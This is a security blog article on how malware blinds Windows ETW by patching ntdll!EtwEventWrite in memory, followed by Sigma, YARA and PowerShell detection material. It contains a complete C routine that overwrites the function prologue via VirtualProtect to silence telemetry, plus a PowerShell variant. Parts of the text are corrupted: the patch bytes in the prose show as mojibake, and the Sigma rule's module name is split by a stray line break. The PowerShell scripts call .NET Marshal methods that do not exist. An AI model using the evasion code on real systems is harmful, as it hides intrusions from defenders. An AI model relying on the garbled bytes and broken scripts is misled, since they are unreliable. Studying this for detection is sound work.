Windows ETW: Deconstructing EtwEventWrite Telemetry Blinding

Windows ETW: Deconstructing EtwEventWrite Telemetry Blinding

Overview & Threat Landscape: Windows ETW & Telemetry Evasion (T1562.006)#

Windows malware patches ntdll!EtwEventWrite to blind EDR and PowerShell telemetry. Defend via kernel ETW-Ti, memory integrity, and Sigma hunting.

In modern Windows enterprise environments, Event Tracing for Windows (ETW) serves as the high-throughput logging backbone for operating system diagnostics, security monitoring, and Endpoint Detection and Response (EDR) sensors. Critical security instrumentation—including PowerShell Script Block Logging (Event ID 4104), the Antimalware Scan Interface (AMSI), and the .NET Common Language Runtime (CLR) assembly loading telemetry—relies on user-mode ETW providers to emit behavioral audit records to defensive telemetry pipelines.

However, sophisticated threat actors, red teams, and commodity loaders (including LummaStealer, QakBot, Cobalt Strike, and custom C2 agents) routinely deploy an evasive tradecraft technique: In-Memory ETW Telemetry Blinding (mapped to MITRE ATT&CK T1562.006: Impair Defenses: Indicator Blocking and T1055: Process Injection). By modifying a handful of bytes in the exported function ntdll!EtwEventWrite or ntdll!EtwEventWriteFull within their own process space, attackers neutralize userland event emission without crashing the host process or triggering external network alerts.

For digital forensics and incident response (DFIR) specialists, detection engineers, and enterprise security architects, ETW patching fundamentally alters the investigative calculus:

  • The Userland Trust Boundary Paradox: User-mode applications execute within their own virtual address spaces. An application possesses full read, write, and execute authority over its own memory pages, including loaded system dynamic link libraries (ntdll.dll, kernel32.dll). When an EDR sensor or operating system subsystem relies on userland function calls (EtwEventWrite) to report security-critical behavior, the reporting mechanism is co-located with the adversary's payload, creating an unresolvable trust dependency.
  • Selective Sensor Blinding: Unlike terminating an EDR service or stopping the Windows Event Log service (which generates noisy service-control events like Event ID 7036), patching EtwEventWrite is surgically silent. The process continues running normally, but its calls to report malicious script blocks, in-memory reflective DLL loads, or post-exploitation commands simply return STATUS_SUCCESS (0x00000000) without dispatching data to event tracing sessions.
  • The Asymmetry Between Userland ETW and Kernel ETW-Ti: While user-mode ETW providers (such as Microsoft-Windows-PowerShell and Microsoft-Windows-DotNETRuntime) can be neutralized by patching ntdll.dll, the Windows kernel provides a hardened, tamper-resistant telemetry channel: Microsoft-Windows-Threat-Intelligence (ETW-Ti). ETW-Ti events originate directly inside ntoskrnl.exe and are dispatched exclusively to Protected Process Light (PPL) security services, remaining immune to user-mode code patching.
  • The Memory Forensics Imperative: Because ETW patching modifies code pages in memory without altering files on disk, traditional file-based antivirus scanners are completely blind to the technique. Detecting ETW tampering demands memory forensics techniques: diffing in-memory .text sections against disk binaries, tracking VirtualProtect memory protection transitions, and capturing kernel-level execution telemetry.
Warning

Any process running untrusted code can patch its own ntdll.dll exports in seconds. If your detection strategy relies solely on PowerShell Script Block Logging (4104) or user-mode AMSI without kernel-level ETW-Ti or process memory integrity monitoring, your SOC is blind to in-memory tradecraft.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.


Vulnerability & Attack Root-Cause Analysis: Dissecting ntdll!EtwEventWrite#

To deconstruct how ETW blinding succeeds, we must examine the architectural flow of event logging in the Windows user-mode subsystem and trace the execution path of EtwEventWrite.

The Windows User-Mode ETW Pipeline#

When an application (such as powershell.exe, wscript.exe, or a custom .NET runtime host) wants to log an event via ETW, it executes the following sequence:

  1. Provider Registration: The application registers a provider GUID via EtwEventRegister, receiving a registration handle (RegHandle).
  2. Event Checking: The application optionally calls EtwEventEnabled to verify whether any tracing session (such as an EDR listener or Sysmon trace) is listening for that event's provider and keyword mask.
  3. Event Dispatch: The application populates an EVENT_DESCRIPTOR structure and calls ntdll!EtwEventWrite.
  4. Syscall Transition: ntdll!EtwEventWrite internally invokes ntdll!EtwEventWriteFull, which packages the userland buffer into an EVENT_HEADER and calls the low-level system service ntdll!NtTraceEvent.
  5. Kernel Ingestion: The kernel transitions through the SSDT (System Service Descriptor Table) into ntoskrnl.exe!NtTraceEvent, placing the event into the designated ETW buffer pool for consumption by listening loggers.
PLAINTEXT
[ Application / PowerShell Engine ]
          │
          ├── Calls EtwEventRegister (GUID Registration)
          │
          └── Calls ntdll!EtwEventWrite(RegHandle, EventDescriptor, UserDataCount, UserData)
                   │
                   ▼
       [ ntdll!EtwEventWriteFull ]
                   │
                   ▼
         [ ntdll!NtTraceEvent ] ── (Syscall: 0x56 on Win10/11 x64)
                   │
═══════════════════╪═══════════════════════════════════════ User/Kernel Boundary
                   ▼
        [ ntoskrnl!NtTraceEvent ]
                   │
                   ├── Enqueues into Trace Buffer
                   └── Dispatches to EDR / Event Log Consumer

Disassembly of ntdll!EtwEventWrite on x64 Windows#

In standard 64-bit Windows 10 and Windows 11 builds, the function prologue of ntdll!EtwEventWrite appears as follows:

ASM
; Exported function in ntdll.dll (Windows 11 x64)
ntdll!EtwEventWrite:
    48 89 5c 24 08       mov     qword ptr [rsp+8], rbx
    48 89 6c 24 10       mov     qword ptr [rsp+10h], rbp
    48 89 74 24 18       mov     qword ptr [rsp+18h], rsi
    57                   push    rdi
    41 54                push    r12
    41 55                push    r13
    41 56                push    r14
    41 57                push    r15
    48 83 ec 40          sub     rsp, 40h
    48 8b d9             mov     rbx, rcx                ; RegHandle
    49 8b f8             mov     rdi, r8                 ; UserDataCount
    ...
    e8 xx xx xx xx       call    ntdll!EtwEventWriteFull
    ...
    48 83 c4 40          add     rsp, 40h
    5f                   pop     rdi
    c3                   ret

The In-Memory Patch: Overwriting the Function Prologue#

Because the .text code section of ntdll.dll is loaded into process memory with read-and-execute permissions (PAGE_EXECUTE_READ), userland threads cannot write directly to it without triggering an access violation (0xC0000005).

To bypass this restriction, malware executes a three-step memory manipulation:

  1. Query & Unprotect: The process calls kernel32!VirtualProtect on the virtual memory address of ntdll!EtwEventWrite, altering the page protection to PAGE_EXECUTE_READWRITE (0x40).
  2. Prologue Overwrite: The malware writes 1 to 4 bytes directly over the function entry point:
    • x64 Minimal Ret Patch: Ã (ret). Returns whatever value is currently in RAX.
    • x64 Clean Success Patch: H1ÀÃ (xor rax, rax; ret). Clears RAX to 0 (STATUS_SUCCESS) and returns immediately.
    • x86 Callee-Cleanup Patch: 3ÀÂ� (xor eax, eax; ret 14h). Restores stack arguments (5 parameters × 4 bytes = 20 / 0x14 bytes).
  3. Reprotect: The process calls VirtualProtect again to restore the original page protection (PAGE_EXECUTE_READ or PAGE_EXECUTE_READWRITE).

Disassembled Result of Patched ntdll!EtwEventWrite

ASM
; Patched function in userland process memory
ntdll!EtwEventWrite:
    48 31 c0             xor     rax, rax                ; Return STATUS_SUCCESS (0)
    c3                   ret                             ; Immediate return, skipping NtTraceEvent
    24 08                and     al, 8                   ; Residual corrupted bytes (never reached)
    48 89 6c 24 10       mov     qword ptr [rsp+10h], rbp

Once patched, every time the application's engine (such as PowerShell executing a malicious command script block) attempts to log an event, EtwEventWrite immediately exits with 0 (STATUS_SUCCESS). The caller assumes the telemetry event was safely delivered to the logging system, while in reality, not a single byte was transmitted to NtTraceEvent.


Exploit Architecture: Userland In-Memory Patching vs Kernel ETW-Ti#

The following Mermaid sequence diagram illustrates the contrast between blinded user-mode ETW event generation and tamper-resistant kernel ETW-Ti telemetry collection.

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor / Malware
    participant ProcessMem as Process Memory (ntdll.dll)
    participant PSEngine as PowerShell Engine / AMSI
    participant UserETW as User-Mode ETW Consumer (Sysmon/EDR Hook)
    participant WinKernel as Windows Kernel (ntoskrnl.exe)
    participant ETWTi as Kernel ETW-Ti Provider (PPL EDR Sensor)

    Note over Attacker,ProcessMem: Phase 1: In-Memory Telemetry Patching
    Attacker->>ProcessMem: VirtualProtect(ntdll!EtwEventWrite, 4, PAGE_EXECUTE_READWRITE)
    ProcessMem-->>Attacker: Page permissions modified to RWX
    Attacker->>ProcessMem: Write opcodes: 48 31 C0 C3 (xor rax, rax then ret)
    Attacker->>ProcessMem: VirtualProtect(ntdll!EtwEventWrite, 4, PAGE_EXECUTE_READ)

    Note over PSEngine,UserETW: Phase 2: Execution of Malicious Payload
    Attacker->>PSEngine: Execute malicious script block (IEX / DownloadCradle)
    PSEngine->>ProcessMem: Call ntdll!EtwEventWrite(ScriptBlockLogging_Event4104)
    ProcessMem-->>PSEngine: Immediate RET with STATUS_SUCCESS (0x0)
    Note over ProcessMem,UserETW: User-Mode ETW Blinded: Zero events forwarded to EDR

    Note over Attacker,ETWTi: Phase 3: Kernel ETW-Ti Resilience
    Attacker->>WinKernel: VirtualAlloc(PAGE_EXECUTE_READWRITE) / VirtualProtect
    WinKernel->>WinKernel: ntoskrnl!EtwTiLogAllocExecVm invoked internally
    WinKernel->>ETWTi: Dispatch THREATINT_MEM_ALLOC / THREATINT_MEM_PROTECT Event
    ETWTi-->>Attacker: Kernel Telemetry Captured: Process Flagged by PPL EDR

Attack Path Step-by-Step: From VirtualProtect to Silent Payload Execution#

Let us examine the concrete technical steps executed by malicious loaders and post-exploitation frameworks to neutralize ETW in user space.

Step 1: Locating the EtwEventWrite Function Pointer#

In a compiled C/C++ loader, the malware first retrieves the base address of ntdll.dll and resolves the exported symbol EtwEventWrite:

C
#include <windows.h>
#include <stdio.h>

// Function prototype matching NTSTATUS WINAPI EtwEventWrite(...)
typedef ULONG (WINAPI *fnEtwEventWrite)(
    REGHANDLE              RegHandle,
    PCEVENT_DESCRIPTOR     EventDescriptor,
    ULONG                  UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
);

void PatchEtw(void) {
    // 1. Resolve ntdll.dll module handle
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        return;
    }

    // 2. Resolve target function address
    void *pEtwEventWrite = (void *)GetProcAddress(hNtdll, "EtwEventWrite");
    if (!pEtwEventWrite) {
        return;
    }

    // 3. Define x64 patch bytes: xor rax, rax; ret (48 31 C0 C3)
    unsigned char patchBytes[] = { 0x48, 0x31, 0xC0, 0xC3 };
    DWORD oldProtect = 0;

    // 4. Alter memory protection to PAGE_EXECUTE_READWRITE
    if (VirtualProtect(pEtwEventWrite, sizeof(patchBytes), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        // 5. Overwrite function prologue
        memcpy(pEtwEventWrite, patchBytes, sizeof(patchBytes));

        // 6. Restore original protection
        VirtualProtect(pEtwEventWrite, sizeof(patchBytes), oldProtect, &oldProtect);
        
        // 7. Flush CPU instruction cache
        FlushInstructionCache(GetCurrentProcess(), pEtwEventWrite, sizeof(patchBytes));
    }
}

Step 2: In-Memory PowerShell ETW Patching via Reflection#

In offensive PowerShell scenarios, red teams and malware do not compile native binaries; they execute memory modifications directly from the PowerShell runtime using .NET reflection and internal Win32 APIs:

POWERSHELL
# Conceptual demonstration of user-mode ETW patching via PowerShell reflection
$Ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE((Get-Process -Id $PID).MainModule.ModuleName)
$EtwEventWriteAddr = [System.Runtime.InteropServices.Marshal]::GetProcAddress(
    (Get-Module -Name ntdll.dll -ErrorAction SilentlyContinue).BaseAddress, 
    "EtwEventWrite"
)

# Allocate byte array representing x64 patch: xor rax, rax; ret
[Byte[]]$Patch = 0x48, 0x31, 0xC0, 0xC3
$OldProtect = 0

# Modify memory page protection to PAGE_EXECUTE_READWRITE (0x40)
[System.Runtime.InteropServices.Marshal]::VirtualProtect(
    $EtwEventWriteAddr, 
    [UInt32]$Patch.Length, 
    0x40, 
    [Ref]$OldProtect
)

# Copy patch bytes into ntdll!EtwEventWrite
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $EtwEventWriteAddr, $Patch.Length)

# Restore original memory protection
[System.Runtime.InteropServices.Marshal]::VirtualProtect(
    $EtwEventWriteAddr, 
    [UInt32]$Patch.Length, 
    $OldProtect, 
    [Ref]$OldProtect
)

Step 3: Evading Script Block Logging (Event ID 4104)#

Prior to patching, executing an obfuscated command string in PowerShell generates an audit record in the Windows Event Log under: Microsoft-Windows-PowerShell/Operational -> Event ID 4104 (Execute a Remote Command / Script Block).

Once EtwEventWrite has been overwritten with 0x48 0x31 0xC0 0xC3:

  • The PowerShell engine calls internal logging wrappers LogScriptBlockStart and LogScriptBlockEnd.
  • These wrappers call EtwEventWrite.
  • EtwEventWrite instantly returns 0 without invoking NtTraceEvent.
  • Zero script block events are written to the Windows Event Log or forwarded to the enterprise SIEM.

Fast Cyber Defense Morning Takeaways: Memory Forensics & Sensor Hardening#

Detecting in-memory ETW patching requires blue teams to operate below the userland API layer and monitor process memory integrity.

1. Production Sigma Rule: In-Memory ntdll.dll Protection Tampering (T1562.006)#

Because patching ntdll.dll requires altering the .text section from PAGE_EXECUTE_READ to PAGE_EXECUTE_READWRITE, blue teams can monitor kernel process access and memory protection telemetry:

YAML
title: Suspicious Memory Protection Modification of ntdll.dll
id: 5e9b3a1c-8f4d-4e2b-9a7c-1d0e5b8a6f42
status: production
description: Detects memory protection transitions on ntdll.dll code sections targeting PAGE_EXECUTE_READWRITE, indicative of in-memory ETW or AMSI patching.
references:
    - https://kernullist.github.io/kernullist-blog/posts/etw-internals-deep-dive/
    - https://attack.mitre.org/techniques/T1562/006/

tags:
    - attack.defense_evasion
    - attack.t1562.006
    - attack.t1055
logsource:
    category: memory_protection
    product: windows
detection:
    selection_target:
        TargetImage|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\cmd.exe'
    selection_tamper:
        TargetModule|endswith: '
tdll.dll'
        ProtectionMask:
            - 'PAGE_EXECUTE_READWRITE'
            - 'PAGE_READWRITE'
    condition: selection_target and selection_tamper
falsepositives:
    - Legacy debugging tools or third-party security software performing userland hooking (verify signer and parent process).
level: high

2. YARA Rule: In-Memory Signature for Patched EtwEventWrite#

Blue teams and DFIR analysts can deploy this YARA signature across volatile memory dumps (using Volatility, WinPmem, or live EDR memory scanners) to identify patched ntdll instances:

YARA
rule Windows_ETW_Patch_EtwEventWrite {
    meta:
        description = "Detects patched ntdll!EtwEventWrite function prologue in process memory"
        author = "Md Redwan Ahmed (Fast Cyber Defense)"
        date = "2026-10-18"
        threat_level = "High"
        mitre_technique = "T1562.006"
    strings:
        // x64: xor rax, rax; ret (48 31 C0 C3)
        $patch_x64_clean = { 48 31 C0 C3 }
        // x64 minimal ret (C3 followed by leftover prologue bytes)
        $patch_x64_ret = { C3 24 ?? 48 89 }
        // x86: xor eax, eax; ret 14h (33 C0 C2 14 00)
        $patch_x86_clean = { 33 C0 C2 14 00 }
    condition:
        any of ($patch_x64_clean, $patch_x64_ret, $patch_x86_clean)
}

3. Forensic In-Memory Integrity Verification Script (PowerShell / C#)#

DFIR analysts can run the following automated utility to compare the in-memory function bytes of ntdll!EtwEventWrite against expected prologue opcodes:

POWERSHELL
# Verify in-memory integrity of ntdll!EtwEventWrite in current process
$Ntdll = [System.Diagnostics.Process]::GetCurrentProcess().Modules | Where-Object { $_.ModuleName -eq "ntdll.dll" }
$ProcAddr = [System.Runtime.InteropServices.Marshal]::GetProcAddress(
    $Ntdll.BaseAddress, 
    "EtwEventWrite"
)

# Read the first 4 bytes of EtwEventWrite in memory
$Bytes = New-Object Byte[] 4
[System.Runtime.InteropServices.Marshal]::Copy($ProcAddr, $Bytes, 0, 4)
$HexDump = ($Bytes | ForEach-Object { $_.ToString("X2") }) -join " "

Write-Host "[*] Address of ntdll!EtwEventWrite: 0x$($ProcAddr.ToString('X'))"
Write-Host "[*] In-Memory Opcodes: $HexDump"

# Standard x64 Windows prologue begins with 48 89 5C 24 (mov [rsp+8], rbx)
if ($HexDump -match "^48 31 C0 C3" -or $HexDump -match "^C3") {
    Write-Host "[!] CRITICAL ALERT: EtwEventWrite is PATCHED! User-mode ETW is blinded." -ForegroundColor Red
} else {
    Write-Host "[+] Integrity Verified: Function prologue is unaltered." -ForegroundColor Green
}

Executive Takeaway Table: Windows ETW Blinding & Sensor Hardening#

Attack Dimension & Vector Technical Mechanism Observable Detection Signal Primary Defensive Mitigation
Userland ETW Patching VirtualProtect alters ntdll .text to PAGE_EXECUTE_READWRITE, overwriting entry with ret Memory scans show opcode diffs (48 31 C0 C3); VirtualProtect on ntdll Enforce Kernel ETW-Ti (Microsoft-Windows-Threat-Intelligence) via PPL EDR
PowerShell Telemetry Drop Silencing Script Block Logging (Event 4104) and Module Logging (4103) Absence of 4104 logs during process creation; powershell.exe memory anomaly Ingest process creation telemetry (Sysmon Event ID 1) and command-line logging
AMSI & .NET Telemetry Bypass Co-located patching of amsi.dll!AmsiScanBuffer and clr.dll event dispatchers Memory protection change events logged in EDR; unbacked code execution Deploy Protected Process Light (PPL) and enforce Windows Defender Application Control (WDAC)
Memory Forensics Evasion Overwriting patch bytes before exit or utilizing hardware debug registers (Dr0-Dr3) Hardware breakpoint exceptions; unhandled exception handler hooks Inspect Thread Context structures (GetThreadContext) for active Dr0-Dr3 debug registers

Authoritative References & Further Reading#

Comments